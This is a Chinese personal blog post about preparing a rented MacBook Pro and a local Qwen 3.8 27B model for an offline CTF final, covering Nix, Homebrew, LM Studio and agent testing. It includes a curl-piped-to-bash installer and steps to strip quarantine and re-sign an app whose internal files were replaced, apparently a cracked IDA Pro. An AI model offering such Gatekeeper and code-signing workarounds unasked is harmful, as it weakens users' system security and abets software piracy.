CrystaRin镜雨亭

租台 MacBook 线下带，Qwen 3.8 打国赛！

Wed, 09 Sep 2026 00:00:00 GMT

这篇文章本来并不打算独立成文，而是作为一个部分嵌入到 CCISC 2026 回忆录中，但由于其内容更多偏向于技术侧，思来想去，洛汐决定还是单独写出来了。一方面，技术类内容嵌入到叙事类文章里，观感确实可能不好；另一方面，独立成文可以让洛汐更多地涉及技术侧的内容。

由于洛汐近日已被 AI 风格的文章荼毒过深，这篇文章洛汐将尝试恢复星澜音时期的语言，并有意避免 AI 文章的典型风格——不过洛汐必须承认，文章中的部分内容仍然是 AI 完成的，而全篇文章也经过了 AI 的审核、事实校验与修改，不过洛汐确信这并没有影响文章的易读性和行文风格。

INFO

但是这比赛到底叫 CISCN 还是叫 CCISC？

截至发稿时，洛汐仍然没搞明白我们去打的比赛「全国大学生网络安全竞赛」的英文名到底是 CISCN（China Information Security Competition Network）还是 CCISC（China College Information Security Competition）。Gemini 为此做了 Deep Research，但给出的回复并不足以让洛汐确信。多数人在多数场合仍倾向于将该比赛称为 CISCN，但考虑到洛汐在线下看到的各种标志均为 CCISC，所以洛汐将在本文使用后者的称呼。

七月的零音颤颤巍巍地熬过了四月的雨，但始终没有等到 CCISC 2026 决赛的通知。洛汐不知道自己该不该开始备赛，毕竟洛汐已经因许多可言说或难以言说的原因，无数次想彻底放弃了，但心里却仍然有一些难以言说的情感。再忍忍吧，「打完这场比赛，洛汐的一切，就要迎来新的开始了。」洛汐这样想着。

一个声音一直在问洛汐：「那么未来——你还要打 CTF 吗？」

洛汐没有回答。

洛汐于飞往杭州的航班上拍摄的舷窗外风景。拍摄于 2026 年 7 月 22 日下午约 2 点。

在一切开始之前#

其实当时的零音想过 AI 的事情，尽管零音当时因为一些自己的和外界的原因，还没定下来到底要不要再以 Starfall Koi 队长的名义参加 CCISC 2026 决赛——但毕竟这是零音/洛汐第一次拿到国家级比赛决赛的入场券，即使是抱着「见一见世面」的态度来参加，也应该是值得的。「那就当公费旅游了吧！」洛汐对自己说。

CCISC 比赛要求全程断网，在线大模型在通常情况下是不能使用的。队伍之前使用的 Qwen 3.5 9B 模型质量过于拉胯：在西北赛区的半决赛赛场上，它针对一道 RenPy 逆向题给出的脚本带有逻辑错误，导致那道题零音没有做出来——后来发现其实只差最后一步。哪怕是手写脚本，或者用「火绒剑」拦截，都不会有问题。事实上，零音并不在意做题或拿奖，但 9B 的使用体验真的很糟心。

Hazelita Plaza 的聊天记录。零音抱怨 Qwen 3.5 9B 的质量，因为 9B 在赛场对一个 JSON parser 的分析完全错误。这里的 JSON parser 是另一个逆向题目，不是 RenPy 的那道题。

然而时过境迁。4 月 4 日的零音仍然在为 GPT-5.4 在无编译器和汇编器的情况下完成了一道较困难的 Shellcode 题而感到眩晕瘫坐像看到原子弹爆炸，而后续 GPT-5.5 和 GPT-5.6 sol 乃至 GPT 6 Astra，以及 Claude、GLM、Kimi 和 DeepSeek 等各大厂商的新模型的飞跃则让零音/洛汐更加吃惊。彼时的零音断言 AI 不会再在较短的时期内有更大的飞跃，而事实证明零音确实有些悲观。不过，话说回来：对每一个从「半年前」走到现在的 AI 用户来说，在一轮又一轮「温水煮青蛙」般的 AI 变革中，或许已然不会再感到如 Sora 2 和 GPT-4o 级别的飞跃；但若直接回望半年之前的模型、我们在当时对模型的预期和现在模型的能力，便能实实在在感受到大模型进步带来的独特力量。

当然，零音/洛汐对这一切仍然抱有充分的怀疑——一个可能的原因是 GPT-5 发布时「新智元」的那篇常读常新的文章让零音真的

/太好笑

了一整天。洛汐现在对于 OpenAI 在过去不久的 GPT 6 Astra 发布中宣传的 AGI 已经到来 这件事仍然无法抱有积极预期，但洛汐希望自己这次也能被光速打脸.png

「新智元」公众号文章《奥特曼首次体验GPT-5！被吓到眩晕瘫坐，那一刻就像看到原子弹爆炸》的封面。

以上是作为普通用户抒发的情感。但作为一个要打线下断网 CTF 的参赛者，在线模型再怎么飞跃，也与洛汐无关。在前几次比赛中零音已然断言这种比赛只能自己手搓：9B 的智商过于低下，只会起反作用，而真正有一定智慧的模型仍然需要更大的参数量才能正常工作——直到 CCISC 2026 决赛通知前的十几天，2026 年 8 月 14 日，Qwen 官方发布了 Qwen 3.8 27B：发布即屠榜。在 Artificial Analysis 等评测榜上，Qwen 3.8 27B 的跑分接近 DeepSeek V4 Flash 0731 (max)，在代码能力方面甚至赶超 Claude Opus 4.6，虽然 AA 榜因为「GPT 6 Astra < GPT 5.6 sol」这个抽象的评分已经被网友评为野榜了，但从大众的使用体验来看，在代码力这块确实不错。虽然世界知识和文学写作等方面远不及其他模型，但对于线下 CTF 场景而言，一个代码方面的专精模型其实已经足够。

Artificial Analysis 榜单上 Qwen 3.8 27B (xhigh) 的表现，包括 Intelligence、Speed 和 Cost per Task 三个评测标准。

后来队伍的成员们来问过：我们要不要搞一个？其实洛汐当时没想着要搞，毕竟洛汐打心眼里不太认同 27B 能掀起什么浪花，并且在实际测试之前也不会断言一个模型的真正能力——但一个问题是：如果你不搞，其他人就搞了。万一这东西真有用，那我们不就亏了吗？可以不赢但不能输，「补兑，还是要搞！」

初见 MacBook Pro#

小学的 protosc 在 VMware 里跑的 hackintosh 是 protosc 对于 macOS 的初印象。事实上，在 protosc 的那台 Intel 4 代 i3 上，hackintosh 的体验极为拉胯，现在的洛汐也不知道 protosc 怎么用得下去的。后来零音在大学里帮同学配置开发环境时有幸体验了大约 12 个小时的 macOS，也会在路过 Apple 授权经销商或 Apple Store 时进去玩一玩。从各种角度来说，洛汐对 macOS 并非完全生疏。

队伍一共租了 2 台 Mac，但洛汐仅在这里描述自己得到的这一台：搭载 Apple M4 Max 芯片的、128 GB RAM + 8 TB Storage（8 + 128）的 MacBook Pro。其实拿到手后，适应这一套熟悉又陌生的 OS 并没有给洛汐造成太大的困难——毕竟在 Linux 和 Windows 上掌握的终端、网络、调试、编译、脚本和排障等能力大部分都可以迁移过来；真正的困难是在这样一台带有 macOS 约束、基于 Apple Silicon 架构的 Unix 工作站上，配置好属于自己的 CTF 和 LLM 环境。

洛汐和 PatriciaOfEnd 在便利店测试洛汐的华硕天选 6 Pro 和 MacBook Pro。

拿到 MacBook Pro 后，我们拍摄了 MacBook 各个角度的照片，并确认其可以正常开机，且各项硬件功能都没有问题。在 macOS 上使用以下命令检查：

Terminal window

1
uname -m
2
sw_vers
3
system_profiler SPHardwareDataType
4
system_profiler SPPowerDataType
5
df -h /
6
vm_stat

随后更新了 macOS 到最新的版本 26.6.2 并立刻关闭了自动更新。确认环境也没有问题后，冻结版本是一个好习惯。因为在半决赛赛场上，零音在赛前升级了 Windows 侧的 VS Code 而忘了同时更新 WSL 上的 VS Code，导致 8 小时比赛全程没有 Remote VS Code 用我们得到的这台 MacBook Pro，其电池循环次数只有 2 次，是非常新的笔记本了。

MacBook Pro「系统设置」的「关于本机」页面。显示 MacBook Pro，14 英寸，2024 年 11 月，Apple M4 Max，内存 128 GB，储存空间 8 TB。

我们为这台 MacBook Pro 起名为 stellakexing，延续了洛汐给所有设备以前缀 stella 命名的传统。kexing 意为「客星」：

客星，非常之星，其出也无恒时，其居也无定所，忽见忽没，或行或止，不可推算，寓于星辰之间，如客，故谓之客星。

安装必备的工具链#

在检查完环境后，需要先安装一些必备的工具链，如 Xcode Command Line Tools、Homebrew 和 Rosetta 2。

Terminal window

1
xcode-select --install
2
softwareupdate --install-rosetta --agree-to-license
3
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

事实上在实际运行时，第一条命令总是失败，提示我们「不能安装该软件，因为当前无法从软件更新服务器获得。」这是一个显然的问题，但挂上神奇的妙妙工具后依然报错。Only Apple can do 解决方法是在 Apple Developer 的对应页面手动下载后安装，这需要登录 Apple ID。

聊天记录。Safari 在下载过程中出现诡异的缩放 Bug，被群友调侃「Only Apple can do」。

安装软件包#

「工欲善其事，必先利其器。」安装必备工具链后，我们开始安装软件包。

对于多数软件包，洛汐使用了包管理器（下文会提到）。而对于一些便携的、或没有官方打包的、或需要自己编译的，洛汐于是全部交给 DeepSeek 代办了。在 AI Agent 的时代，AI 的确显著提高了洛汐的工作效率。洛汐安装了一些自己在 stellarkira 上就常用到的开发套件、实用软件和 CTF 工具等，同时也参照了一些已有的 CTF 工具大全（下面给出了其中两个）来完善自己在 stellakexing 上的工具链。由于线下赛是全程断网的，多带一些工具总比没有强。零音在半决赛的时候少带了工具，导致亏了很多道题目……

apsdehal

awesome-ctf

A curated list of CTF frameworks, libraries, resources and softwares

Cybersecurity tool repository / Wiki 收录常用 / 前沿的CTF和渗透工具以及其官方/使用文档，致力于让每个工具都能发挥作用ww，不管你是萌新还是领域从业者希望你都能在这里找到适合你的工具或者获得一定的启发。

—

GPL-3.0

Unavailable

洛汐目前用得最多的包管理器是——

Determinate Nix#

由于洛汐一直使用 Determinate Nix 和 home-manager 管理自己的软件包，也维护了自己的 home-manager 配置，迁移变得非常「轻松➕愉快」。Nix 的一大优势便是声明式配置，在不同的电脑上应用相同的配置，能让软件包几乎完全一致。洛汐已有的配置是为自己这台搭载 Fedora、架构为 x86_64-linux 的华硕天选 6 Pro stellarkira 写的，但经过一些修改后，也能应用到这台 aarch64-darwin 的 stellakexing 上。

具体地：因为有一些包不为 aarch64-darwin 提供，DeepSeek 帮助编写脚本并筛选出与 CTF 相关、且有 aarch64-darwin 构建的所有包，以生成一份 home-darwin.nix。随后我们安装 Determinate Nix 并以 standalone 方法安装 home-manager，但是默认情况下好！慢！啊！在 /etc/nix/nix.custom.conf 中添加下面的内容以换源：

1
# Chinese mirrors for mainland China
2
# TUNA (Tsinghua University) mirror as primary substituter
3

4
# Binary cache — use TUNA mirror first, then fall back to official
5
substituters = https://mirrors.tuna.tsinghua.edu.cn/nix-channels/store https://cache.nixos.org
6

7
# Allow unprivileged daemon users to select TUNA as a substituter.
8
# Store paths are still verified using trusted-public-keys below.
9
trusted-substituters = https://mirrors.tuna.tsinghua.edu.cn/nix-channels/store https://cache.nixos.org
10

11
# Trusted public keys — TUNA proxies cache.nixos.org, same key
12
trusted-public-keys = cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
13

14
# If TUNA is down, try USTC instead:
15
# substituters = https://mirrors.ustc.edu.cn/nix-channels/store https://cache.nixos.org
16
# trusted-substituters = https://mirrors.ustc.edu.cn/nix-channels/store https://cache.nixos.org
17

18
# Or Shanghai Jiao Tong University (SJTUG):
19
# substituters = https://mirrors.sjtug.sjtu.edu.cn/nix-channels/store https://cache.nixos.org
20
# trusted-substituters = https://mirrors.sjtug.sjtu.edu.cn/nix-channels/store https://cache.nixos.org

展开收起

怨。这里是 AI 幻觉重灾区……所有 AI 给的换源方法几乎都有问题。这个亲测可用。

这里需要解释一下：trusted-substituters 并不会跳过签名校验，它允许非 trusted user 在连接 Nix daemon 时选用列出的 substituter；缓存内容是否可信，仍由 trusted-public-keys 等设置判定。另外，substituters 的实际尝试顺序还会受到各镜像 priority 的影响，并非一定严格依照这里的书写顺序。¹

聊天记录。由于洛汐没有配置镜像源，安装时间过长，洛汐在群内吐槽 Nix。

随后运行第一轮 home-manager switch 就可以了，待装上 nh 后可以使用 nh home switch .。这里本来应该附带这些脚本和替换后的 .nix 文件，但由于洛汐在济南回程前就归还了 MacBook Pro，这部分内容没有备份。

/呜呜呜

不过与许多朋友的建议相左，洛汐并没有使用 nix-darwin 作为配置 macOS 设置的方案：一是洛汐对这个东西的确不太熟悉，需要额外的心智资源来学习；二是其短期收益事实上不高，且大部分功能要么洛汐完全用不到、要么洛汐已经在「系统设置」里配置。所以洛汐果断选择了纯粹的 Determinate Nix 和 home-manager。不过洛汐并没有选择把所有软件包都交给 Nix 管理，毕竟，macOS 上还有一个更大众的方案：

Homebrew?#

对，Homebrew。

聊天记录。J2rQ(y) 锐评：Brew 才是正道，Nix 是邪道。

零音/洛汐曾经在 stellarkira 上用过 Homebrew，不过，Linux 侧的 Homebrew 似乎并不是显著必要的，毕竟有更现代、更原生的包管理器。而对于 macOS，Homebrew 几乎是开发者的必备了。我们在这里也使用了 Homebrew，但并非一股脑把所有包丢给 Nix 或 Homebrew，洛汐认为二者应当有明确的分工。具体地：Nix（配置了 home-manager）更加适合管理 zsh、git、tmux、neovim 等纯 CLI 工具及其配置和 uv 等基础运行环境，而 Homebrew 则更适合管理 brew install --cask 的 GUI 工具、某些明确依赖系统集成的工具和现成的软件。

事实上，在洛汐将配置文件从 stellarkira 迁移到 stellakexing 的时候，也遇到过这样的问题：Nix 侧的一些包声明提供了 aarch64-darwin 版本，却在构建时因为各种原因出错，在这种情况下，使用 Homebrew 这样相对原生的方案则是最不容易出问题的选择。而对于 QQ、OrbStack、UTM、DaVinci 和 Figma 这样的重 GUI 程序，Homebrew 同样支持管理其中的大多数，但洛汐仍然使用了从官网下载安装包（.dmg / .pkg）并手动安装的方法。内心里始终有点莫名其妙的膈应。

总而言之，包的安装是相对容易的。不过，装好了可不代表能真正跑起来：macOS 上有一套非常复杂的……

软件包校验机制…#

洛汐在 macOS 上遇到的第一个硬骨头是 macOS 的软件包签名校验机制——这远比 Windows 的 UAC、SmartScreen 严苛得多。从门禁（Gatekeeper）到公证、代码签名，再到运行时保护，整个链条构成了 Apple 生态的安全铁幕。²对于从 App Store 下载包，或完全使用流行软件包的轻度用户，这不会造成任何问题，反而强化了系统的安全性——但对于重度用户，尤其是 CTFer——这就确实有些灾难了。默认情况下，Gatekeeper 会在首次打开带有互联网来源标记的 app、插件或安装包时检查其开发者身份、公证状态以及内容是否被修改；用户明确放行、命令行工具、动态库和应用运行时的代码签名检查则各有不同，不能简单概括成「凡是未签名的下载文件都会在启动前被 SIGKILL」。

对于被 Gatekeeper 阻止、但用户确信来源可信的程序，最基础的放行方式是先尝试打开一次，再前往「系统设置 > 隐私与安全性」，在「安全性」区域找到被阻止的软件条目并点击「仍要打开」。³这相当于用户为该程序开了一次明确的例外，并不等于修复或替换它原有的签名；倘若应用内部文件已被修改，后续还可能触发代码签名完整性、Library Validation 或其他运行时检查。

很多时候 macOS 提示「包已损坏」，并不是真的损坏，而是隔离属性（com.apple.quarantine）触发了 Gatekeeper 的检查。该属性通常由浏览器或其他下载程序写入，记录来源标志、下载代理、时间等 provenance 信息；它并不包含一个简单的「Gatekeeper 评分」。若确信文件来源可信，可以用 xattr 递归删除 .app 内的这一项属性：⁴

Terminal window

1
xattr -d -r com.apple.quarantine /path/to/program.app

这是绝大多数教程的终点——但我们使用的 IDA Pro 因为一些特殊原因（嘘——）必须替换其内部文件，这才是麻烦的开始。替换 .app 内受签名覆盖的可执行文件或框架库后，原签名记录的哈希便不再匹配；具体应用还可能受到 entitlement、Hardened Runtime 或 Library Validation 约束。在我们当时这个具体版本上，重新签名确实解决了启动问题。

macOS 支持不使用开发者证书的 ad-hoc 签名（--sign -）；它不需要开发者账号或联网，因此在断网环境下也能完成。我们当时对它执行了：

Terminal window

1
codesign --force --deep --sign - /path/to/program.app

--force 用于覆盖原有签名，--deep 要求 codesign 处理包内的嵌套代码，--sign - 则指定 ad-hoc 身份。这个做法会使应用与官方签名和公证身份脱钩，也可能改变或丢失原有的 entitlement；它是这次本地排障中有效的办法，却不是对任意 .app 都必然奏效的通用修复。此后若再次改动受签名覆盖的文件，签名还会重新失效。⁵

聊天记录。洛汐成功在 stellakexing 上启动 IDA Pro 9.4 (hotfix version)。

「劳累……」想念 Fedora 就是在这一刻开始的，没想到 macOS 装个软件包有这么多讲究。好在所有软件最后都正常工作了，洛汐舒了一口气。

二次编辑：unDefFtr 后来告诉洛汐，实在不爽的话可以直接把 Gatekeeper 干掉，因为「规则就是用来打破的」！这个，真能这么干吗……（害怕

验证工具是否可用#

即使很多工具安装成功了，也并不意味着它们一定能跑起来。部分工具只有在真正运行的时候才会提示缺这样那样的东西；而很多工具的帮助文档并不易懂。倘若只是带上了工具却发现无法使用，或带上了工具却在该用的时候甚至忘记了这工具的存在，那便是完全的无用功了。洛汐在安装完软件包后，让 DeepSeek 测试了所有的软件包，用至少三种功能逐一验证软件包确实可用，并生成了一份详尽的 Markdown 文档。文档里给出了每个软件包的安装路径、实际用法和注意事项，并且还给出了综合渗透这类通用流程（信息收集、端口扫描之类），真正让这些工具串成一套成熟可控的工作流。洛汐依旧需要说，在过去完成这项工作是相对困难的；而在 AI Agent 时代，这样繁复的工作变得前所未有地简单。熟练使用 AI 已经变成了技术类工作人员的必备技能。

不过，仍然是因为没有备份的缘故，这里无法向各位展示这份 Markdown 文档的最终版本了。洛汐只留下了一个中间版本的截图，呜呜……

文档「CTF 工具速查手册（CISCN 2026 决赛）」的中间版本的截图。当时的文档标题使用了 CISCN 而非 CCISC。

其他配置#

触控 ID、Siri、Safari 浏览器之类 Apple 或 Mac 特有的配置，洛汐几乎都设置了；之后也尝试了一些 Mac 特有的开发套件和工具等。虽然不是洛汐租的 Mac，但「毕竟 Mac 现在在我手上，那就是我的了！」

于是洛汐拿着 stellakexing 玩了很久，体验了很多 macOS 侧的东西。（猜猜看：前文里洛汐为什么要给一台 CTF 设备装 DaVinci 和 Figma 呢？）最后，又给 PatriciaOfEnd 表演了一波单手持握 MacBook Pro 在街上飞奔。不是我的芝麻信用分我就嗯造了哈哈哈哈

聊天记录。洛汐：「我要单手握持 Mac 了 /咦」Patricia：「整坏了你自己赔 /给你一拳」

但洛汐自始至终没有在系统设置内登录 Apple ID。考虑到激活锁之类的问题，即便洛汐确信自己不会搞砸，也不敢擅自冒险，毕竟 Apple 对这方面的管控很严，而且这是租来的机器，搞出个什么问题就要给 p 大手子急哭了，而且 p 大手子借设备还是👴垫付的钱，，所有的软件，洛汐也都没有从 App Store 下载。

适应#

于洛汐看来，适应 Mac、适应 MacBook 和适应 macOS 是不一样的。

洛汐在同学那里用过 MacBook——不过是 MacBook Air。那台笔记本真的很轻很薄，看起来非常优雅，以至于当洛汐拿到这台 Pro 的时候甚至以为自己租到了华强北盗版：重、厚，而且烫；电源适配器也是巨大的一块。但毕竟这是一台性能极其出色甚至恐怖的笔记本，并且，好在它的噪声不大、音响效果非常给力，尤其是低频音超级震撼，在配置环境的那些日子里，洛汐一直使用这台 MacBook 循环播放音游曲歌单，听感甚至比家里那台小米音箱 Pro 还要出色一些。（）适应 Mac 其实是一个宽泛的话题：身旁有朋友购入 Mac mini 并接入自己的显示屏和键鼠，他们依旧用得很开心。而至于适应 macOS，洛汐并没有在上文展开太多，因为在拿到 stellakexing 之前，洛汐的确没怎么深入用过 macOS——但事实上，适应 macOS 比洛汐想象中的快很多。

聊天记录。洛汐感慨 MacBook Pro 的音响效果，unDefFtr 介绍其完整的六扬声器系统。

让洛汐首先感到有些别扭的，实际上是键盘的左下角：Command 和 Option 键的加入让洛汐摸不着头脑，用 Mac 的前几个小时里洛汐愣是不知道怎么复制粘贴，怎么在终端里发送 Ctrl-C。而 macOS 中，这些键又被显示为更让人摸不着头脑的 icon（⌃、⌥ 和 ⌘），无疑加剧了洛汐的理解负担。不过事实上，习惯了之后，洛汐便感到舒服了不少。毕竟在终端里再也不需要使用 Ctrl-Shift-C 来复制内容，而 Ctrl-C 的两种客观上的含义也被 Command 和 Control 键分开。过去在使用 hackintosh 的时候，protosc 似乎还在使用某个小工具进行键盘的映射，现在看来也是没有必要了。

让洛汐随后感到十分优雅的，是 .dmg 安装软件的操作：打开一个 .dmg 后，只需要将 .app 拖入到 /Applications 即可完成安装，十分优雅。事实上，在 Fedora 侧的 stellarkira 上，洛汐也在使用类似的 AppImage 方案安装软件，配上 Gear Lever 达成了类似的效果。不过，macOS 上固然也存在有 .pkg 或一键安装脚本之类的安装途径，洛汐在另一篇文章中也谈论过这一点。

洛汐在 Fedora 上使用 Gear Lever 工具管理 AppImage 包。

让洛汐之后挠头的是 macOS 的窗口逻辑。洛汐尝试了 macOS 在最近某个大版本加入的「台前调度」功能，但「台前调度」似乎一次只能展示一个程序的窗口，洛汐不太喜欢这样的使用体验，于是最后还是换回了正常的平铺式管理。另外，在 macOS 上，点击左上角红绿灯中的绿色按钮原来是真的「全屏」而不是「最大化」……在触控板上四指平移可以在桌面和全屏窗口之间切换；若系统设置中将「双击窗口标题栏」配置为缩放或填充，双击标题栏才更接近日常意义上的「最大化」。洛汐对这个逻辑适应了很久很久才习惯。对了，还有一点：在 macOS 中，关掉了所有窗口并不代表关闭了这个程序。⁶它通常仍会留在程序坞中；再次点击时，应用可能重新打开窗口，也可能只是切换到前台，具体取决于应用本身。当然在 Windows 和 Linux 上有托盘，在 macOS 上菜单栏也可以常驻程序，但这两者似乎并不完全一致。macOS 在这里的默认逻辑可能不太一样，也是换到 macOS 后需要适应的点。

聊天记录。洛汐为 macOS 的逻辑困惑，如安装多个软件后需要挨个推出 .dmg；关闭一个程序的所有窗口后，程序并不一定退出。unDefFtr 为洛汐解释逻辑。

不过，这篇文章的预览版发布后，一些朋友们前来讨论和支招。有朋友告诉洛汐，其实在「台前调度」中，只要长按（或者按住 Shift 点击）左侧的窗口，将其拖到当前的主工作台中，就能实现在同一个工作台里同时显示多个软件或窗口。另外，也有朋友一针见血地指出，这些习惯之所以没有，并不是因为它不符合计算机的直觉，也不是不符合现实的直觉，仅仅是因为它不符合 Windows 的直觉而已。感谢各位让洛汐对 macOS 的知识又多了一分。
/可怜

聊天记录。朋友们正在讨论 macOS 的「台前调度」功能，Hongbro886 和 KrLite 指出了在台前调度中长按或按住 Shift 点击窗口并拖拽到主工作台的方法，以此实现在同一工作台显示多个窗口；以及，对 macOS 的这些不适应并非不符合计算机或现实的直觉，仅仅是不符合 Windows 的直觉而已。

让洛汐真正惊叹的，是 MacBook 的触控板。其实洛汐觉得对于这一点已经无必要阐述了，真正用过的才知道这个东西是多么伟大.png 不过也间接导致洛汐换回 stellarkira 之后反向适应了很久（）

留意的点#

当然也有一些点需要注意。MacBook 没有 RJ45 网口和 USB-A 接口——虽然还有 HDMI、SDXC、MagSafe、耳机接口和 USB-C/Thunderbolt 接口，但对于线下 CTF 这种一张桌子一个交换机，所有设备通过网线连接，U 盘用来拷贝数据的情形仍不太友好。需要购买一个扩展坞。以及它在开盖的时候就会自动开机，再加上洛汐为这台 MacBook 打开了经典的「duang~」开机音，洛汐觉得这非常高级，但很多朋友表示打开盖子后被吓到了.png

MacBook 侧面实拍图，图中仅展示了其 Type-C 接口和 HDMI 接口。

访达 app 是一个相对来说褒贬不一的自带程序，它和 Windows 上 explorer 的地位有的一拼，但似乎在风评上也有的一拼。双击压缩包直接解压而不是浏览内容、对于文件数较多的文件夹略显糟糕的浏览体验、右键不支持直接新建内容，以及路径输入入口不够直观等问题，都是洛汐这些日子里体验过的——当然，按 Command-Shift-G 可以调出「前往文件夹」并输入路径，只是洛汐此前并不知道。自带的「终端」app 在使用 oh-my-pi 的时候有严重的渲染问题；朋友们极力推荐 iTerm2，但洛汐直到最后也没研究出一套适合自己的配置，于是还是选择了 Kitty 并复用了 home-manager 侧的配置。macOS 似乎仍然没有原生支持 NTFS 写入，但洛汐权衡之后觉得配置 NTFS 驱动的收益不高，于是选择忽略这一点。配置好环境并不代表可以带着电脑大大方方走上赛场，于是万事大吉——与这个系统磨合一段时间后，我们才能真正发现一些的问题，这些问题或微不足道、或真的能影响体验。于系统如此，于人也一样——识人不准已然给零音/洛汐造成了巨大的困扰，洛汐也不想在识 OS 上重蹈先前的覆辙。

配置 Qwen 3.8 27B#

总算到了正文了！租赁这台 MacBook Pro，本就是为了在断网时跑模型。事实上，在 CTF 比赛中，洛汐更愿意使用自己已经配置成熟的环境，至少用起来非常顺手——但毕竟 CCISC 规定了每个参赛成员「只能携带一台计算设备，且计算设备的功率不能超过 260 W」，于是为了跑模型，租一台 Mac 便成为了最有性价比的选择。考虑到我们队的 4 人中只有洛汐对 Linux/Unix 环境较为熟悉，且对本地配置 AI 也有一定的熟练度，于是两台中的一台就自然落在了洛汐手上。

在这块 Apple Silicon 上跑本地 Qwen，我们起初想了两条路线——

路线 A：MLX/MLX-LM。这是 Apple Silicon 生态里非常自然的一条路线，通常对统一内存和 Metal 利用得比较好。洛汐天然也对这种方案有着好感，毕竟它足够原生且适配 Apple 芯片。
路线 B：llama.cpp + Metal。这条路线更加通用，生态成熟，模型格式支持和参数控制更广，对 GGUF 模型尤其方便。

但具体选择哪一条，仍然取决于后续的实测。这里，我们直接使用了大名鼎鼎的——LM Studio！

LM Studio 的官网。这里显示的是 LM Studio 出品的 Agent 工具 LM Studio Bionic，但实际上我们使用的是 LM Studio。图片放在这里仅供演示。

是的，洛汐惊叹于这款软件对两条路线都有着较高的支持度，图形化的界面足够友好，使得洛汐不必把时间浪费在模型的命令行配置上，更能专注于模型本身能力和效率的测试以及 CTF 环境的配置——这固然是极好的。LM Studio 原生提供了 Qwen 3.8 27B 的两种模型——MLX 的 8bit 量化版与 GGUF 的 Q8_K_M 量化版，下载和安装都只需要点几下，不过它似乎走代理也不是很快。国内有一些镜像站可以使用，但洛汐知道这事的时候已经下完了，下了整整一天一夜……

/求放过

另一颗星星上的 Qwen#

在洛汐的 stellarkira 上，跑 Qwen 3.8 27B Q4_K_M，使用 LM Studio，默认配置下速度仅为 3.5 token/s，慢到几乎难以接受。洛汐做了设置，在 GPU Offload 25 层、关闭 MTP 并删掉 Vision 层、KV Cache 调至 Q8_0、CPU Thread Pool Size 设置为 8 的情况下，推理速度提升到了 7.5 token/s，有了足足一倍的提升，但仍然慢到难以接受……不过它的系统内存占用倒是问题不大，在后台无其他明显软件的情况下，RAM 总占用（包含 Fedora 系统本身）为 7 GiB，空闲 23 GiB，比跑 Windows 时开机的占用还要低；不过，这个数字没有算入 GPU Offload 后占用的独立显存，不能当作整个 27B 模型的总内存占用。CPU 占用大约 60%，风扇也几乎不怎么转。

洛汐使用 stellarkira 运行 LM Studio 并同时在前台打开 btop，以监控资源使用。

洛汐对自己的调校非常满意，但唯一的问题是这速度太慢；而且洛汐为保守起见，设置了 32k 的上下文，看起来很多，但 Agent 几轮就满了。非常难受。然后 stellakexing 就来了。所以洛汐称它为「客星」。

初见 MLX#

洛汐首先下载了 MLX 版本的 Qwen 3.8 27B 8bit。下载完成后开始测试：由于 LM Studio 暂不支持调整 MLX 模型的上下文长度，所以洛汐使用模型的原生最大上下文长度 262k。

无畏 Chat#

第一轮测试不追求复杂。不使用 Agent 的情况下，先使用 Chat，在 LM Studio 内直接做基本测试：模型对同一个问题测试三次，随后取用时和速度的平均值。洛汐测试了：

基础代码能力。让 Qwen 完成一个小型 Python 和 C 任务，判断其是否理解需求、代码能否运行。
CTF 任务。使用一段容易的汇编代码让 Qwen 分析，判断其是否正确提取关键信息、生成可运行的脚本。
长上下文。使用了一段较长的小说文本，测试其在长上下文时候的生成质量表现、prefill 速度和输出稳定度。

测试发现，各测试项速度相差不大，几乎稳定在 15 token/s，在一句话提示词中只需约 0.1 s 就可以得到第一个 token。不过一个问题已然浮现，虽然在目前看来并不明显——部署的 Qwen 面对长上下文的时候，prefill 速度极慢，在小说文本测试内容中，使用一篇数万字的小说，Qwen 用了近半分钟才完成了 prompt processing。当时的洛汐并没有觉得有什么大问题，紧接着开始了第二轮测试。

聊天记录。洛汐：「准备迎接线下 CTF 之王回归——我可以不会做题，但我的 Qwen 3.8 27B 肯定会做题。」Deepslate：「偷偷将你的 GGUF 换成雷霆量化过的 0.5B」

无畏 Agent？#

其实之前的零音/洛汐总觉得这种比赛不应该开 Agent，毕竟 Agent 干活很慢，而且我们不能确知 27B 的最大能力；但后来真正测试后，才发现 Agent 能力确实有用——Chat 能做到的功能很有限，取决于交互者的发言水平，而且需要不断交互，在比赛中这样做会非常麻烦。于是洛汐展开了 Agent 测试：测试使用的 Agent 分别有 oh-my-pi、Codex 和 DeepSeek Harness Desktop。这三款 Agent 都是洛汐日常使用的，洛汐对它们有很高的预期。至于 Claude Code——洛汐只能祝 Anthropic 和 Dario 一路顺风。实测得到的结果是，在上下文长度接近的情况下，三者的输出速度等性能表现相差不多；但由于没有足够的 CTF 或代码相关的测试案例和试验方法，洛汐也并非权威的 AI 测试机构，也就无从得知谁对 Qwen 的 harness 更有效，于是最后在赛场上，洛汐还是选择了自己最熟悉的 oh-my-pi。

先说 oh-my-pi。它原生支持在模型列表中选择来源于 LM Studio 的模型，在未配置 Skills、未修改多数配置的情况下，其 initial prompt 约 17k，其中存在一些客观意义上对 CTF 无用的东西，例如关于代码风格与规则的要求、对 oh-my-pi 本身的介绍等。DeepslateQAQ 为 oh-my-pi 开发过一款插件 omp-dsh-minimal，可以将 oh-my-pi 的内置提示词切换到 DeepSeek Harness 的简化风格，但该插件默认仅支持 DeepSeek 的两款模型，洛汐并没有在赛前修改插件的时间和精力，因此放弃了这条路而继续使用官方默认的 oh-my-pi。

不过，洛汐修改了 oh-my-pi 的一些配置，但由于篇幅原因，洛汐不愿继续展开具体的配置了。oh-my-pi 提供了非常非常丰富的配置项，包括对上下文的维护、对 tool calling result 的简化处理和 prewalk、advisor 等。其中大多数配置项在日常开发中非常得力，但在线下的、算力有限的 CTF 场景中则是带不来能力提升、却会造成严重性能损耗的无底洞。得当的配置，对线下 AI 性能的发挥有至关重要的作用。

接下来是老牌王者 OpenAI 的 Codex。事实上，Codex 接入 LM Studio 模型略显复杂，洛汐使用了广为人知的 CC Switch。Codex 是很长一段时间洛汐的主力 Agent，不过，因为 Codex 不能直接看到模型的思考过程，这会让洛汐非常焦虑，所以洛汐最终也没有使用 Codex。毕竟在线下赛中，由于 Agent 太慢，任何一个决策上的错误都可能浪费比赛宝贵的 AI 时间；洛汐更愿意在思维链里看到 AI 的想法，并给予适时的指正和引导。

